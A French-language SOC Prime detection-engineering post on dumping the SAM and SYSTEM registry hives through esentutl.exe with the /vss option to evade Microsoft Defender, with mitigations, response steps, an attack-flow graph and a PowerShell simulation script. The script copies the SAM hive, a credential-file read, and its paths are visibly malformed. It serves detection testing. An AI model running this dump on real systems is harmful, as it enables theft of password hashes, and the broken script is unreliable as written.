SOC Prime Bias: Moyen

28 Avr 2026 18:51

Le Mois des Contournements : Ce que le Défenseur Manque

Author Photo
SOC Prime Team linkedin icon Suivre
Le Mois des Contournements : Ce que le Défenseur Manque
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

L’équipe Persistent Security décrit une nouvelle façon de contourner la détection pour la technique d’extraction d’identifiants T1003.002 en abusant de l’utilitaire Windows signé esentutl.exe. En utilisant des options liées à VSS, l’outil peut copier les SAM and ruche de registre SYSTEM sans déclencher Microsoft Defender de la même manière que les méthodes d’extraction plus courantes.

Enquête

Les chercheurs ont testé trois approches traditionnelles pour extraire les ruches, y compris reg save, vssadmin création de copies d’ombre, et copie directe de fichiers, et ont constaté que Defender les bloquait toutes. Ils ont alors utilisé des tests de variantes assistés par IA pour identifier une voie alternative : esentutl.exe pourrait accéder et extraire les ruches grâce à sa fonctionnalité VSS intégrée tout en évitant les détections existantes de Defender.

Atténuation

Les défenses recommandées incluent la restriction de esentutl.exe via AppLocker ou WDAC, la création de règles Sysmon pour détecter les exécutions d'esentutl qui utilisent l’option /vss et la surveillance des activités de copies d’ombre initiées en dehors du comportement normal du système. Les organisations devraient également déployer LAPS pour les comptes administrateurs locaux et désactiver VSS là où ce n’est pas opérationnellement nécessaire.

Réponse

If esentutl.exe est observé en cours d’exécution avec l’option /vss et écrit dans des fichiers associés à SAM or ruche de registre SYSTEM, les défenseurs devraient isoler l’hôte affecté, collecter des preuves de mémoire et de registre, confirmer si une extraction d’identifiants a eu lieu, et appliquer les contrôles de politique recommandés pour éviter la récurrence.

graph TB %% Class Definitions classDef action fill:#99ccff classDef builtin fill:#cccccc classDef file fill:#ffdd99 %% Nodes action_esentutl_exec[« <b>Action</b> – <b>T1218.002 Exécution Proxy de Binaire Système</b><br/>Exécuter esentutl.exe avec les paramètres /y /vss pour créer une copie de volume shadow »] class action_esentutl_exec action tool_esentutl[« <b>Outil</b> – <b>Nom</b>: esentutl.exe<br/><b>Description</b>: Utilitaire interne Windows pour la gestion de l’Extensible Storage Engine »] class tool_esentutl builtin action_copy_hives[« <b>Action</b> – <b>T1003 Dump des Identifiants du Système</b><br/>Copier les fichiers hive SAM et SYSTEM depuis la shadow copy vers un emplacement inscriptible »] class action_copy_hives action action_store_unsecured[« <b>Action</b> – <b>T1552.001 Identifiants dans des Fichiers</b><br/>Stocker les fichiers hive extraits sur disque pour une analyse hors ligne ultérieure »] class action_store_unsecured action file_sam[« <b>Fichier</b> – sam_dump<br/><b>Contenu</b>: Hive SAM contenant les hash de mots de passe »] class file_sam file file_sys[« <b>Fichier</b> – sys_dump<br/><b>Contenu</b>: Hive SYSTEM contenant la clé de démarrage »] class file_sys file %% Connections action_esentutl_exec –>|uses| tool_esentutl action_esentutl_exec –>|leads_to| action_copy_hives action_copy_hives –>|uses| tool_esentutl action_copy_hives –>|creates| file_sam action_copy_hives –>|creates| file_sys file_sam –>|used_by| action_store_unsecured file_sys –>|used_by| action_store_unsecured

Flux d’Attaque

Exécution de Simulation

Prérequis : La Vérification Préliminaire de Télémétrie et de Ligne de Base doit être réussie.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et visent à générer exactement la télémétrie attendue par la logique de détection.

  • Récit et Commandes de l’Attaque :
    Un adversaire qui a obtenu une emprise sur un hôte Windows compromis souhaite récolter des hachages d’identifiants sans déclencher les outils d’extraction d’identifiants typiques qui sont généralement surveillés. L’attaquant utilise le binaire intégré esentutl.exe avec l’option /vss pour créer une copie d’ombre du volume système et extraire la ruche SAM protégée. Les étapes sont :

    1. Créer un répertoire temporaire pour l’exportation de l’instantané.
    2. Invoquer esentutl.exe avec les options /y (écraser) et /vss , en ciblant le chemin de la ruche SAM.
    3. Copier le fichier SAM exporté vers un emplacement sous le contrôle de l’attaquant.
    4. (Facultatif) Nettoyer le fichier d’instantané temporaire pour réduire l’empreinte légale.

    Cette séquence produit un événement Sysmon ProcessCreate où Image se termine par esentutl.exe and Ligne de Commande contient la chaîne /vss, satisfaisant la règle de détection.

  • Script de Test de Régression :

    # ----------------------------------------------
    # Simuler l'extraction de la ruche SAM basée sur VSS à l'aide d'esentutl
    # ----------------------------------------------
    $tempDir = "$env:TEMPVSS_Export"
    New-Item -ItemType Directory -Path $tempDir -Force | Out-Null
    
    # Chemin vers la ruche SAM (copie en lecture seule sera exportée)
    $samHive = "$env:SystemRootSystem32configSAM"
    $outputFile = Join-Path $tempDir "SAM_copy.edb"
    
    # Exécuter esentutl avec VSS pour exporter la ruche SAM
    $esentPath = "$env:SystemRootSystem32esentutl.exe"
    $arguments = "/y /vss `"$samHive`" `"$outputFile`""
    
    Write-Host "Exécution : $esentPath $arguments"
    & $esentPath $arguments
    
    # Vérifier que l'exportation a réussi
    if (Test-Path $outputFile) {
        Write-Host "Ruche SAM exportée vers $outputFile"
    } else {
        Write-Warning "Échec de l'exportation ou aucun fichier créé."
    }
    
    # Nettoyer le fichier d'instantané (facultatif, dépend du comportement de l'OS)
    # Note : Les fichiers d'instantané VSS sont généralement auto-supprimés après exportation.
  • Commandes de Nettoyage :

    # Supprimer le répertoire et les fichiers d'exportation temporaires
    $tempDir = "$env:TEMPVSS_Export"
    if (Test-Path $tempDir) {
        Remove-Item -Recurse -Force -Path $tempDir
        Write-Host "Nettoyage terminé : $tempDir supprimé."
    } else {
        Write-Host "Aucun nettoyage nécessaire; répertoire non trouvé."
    }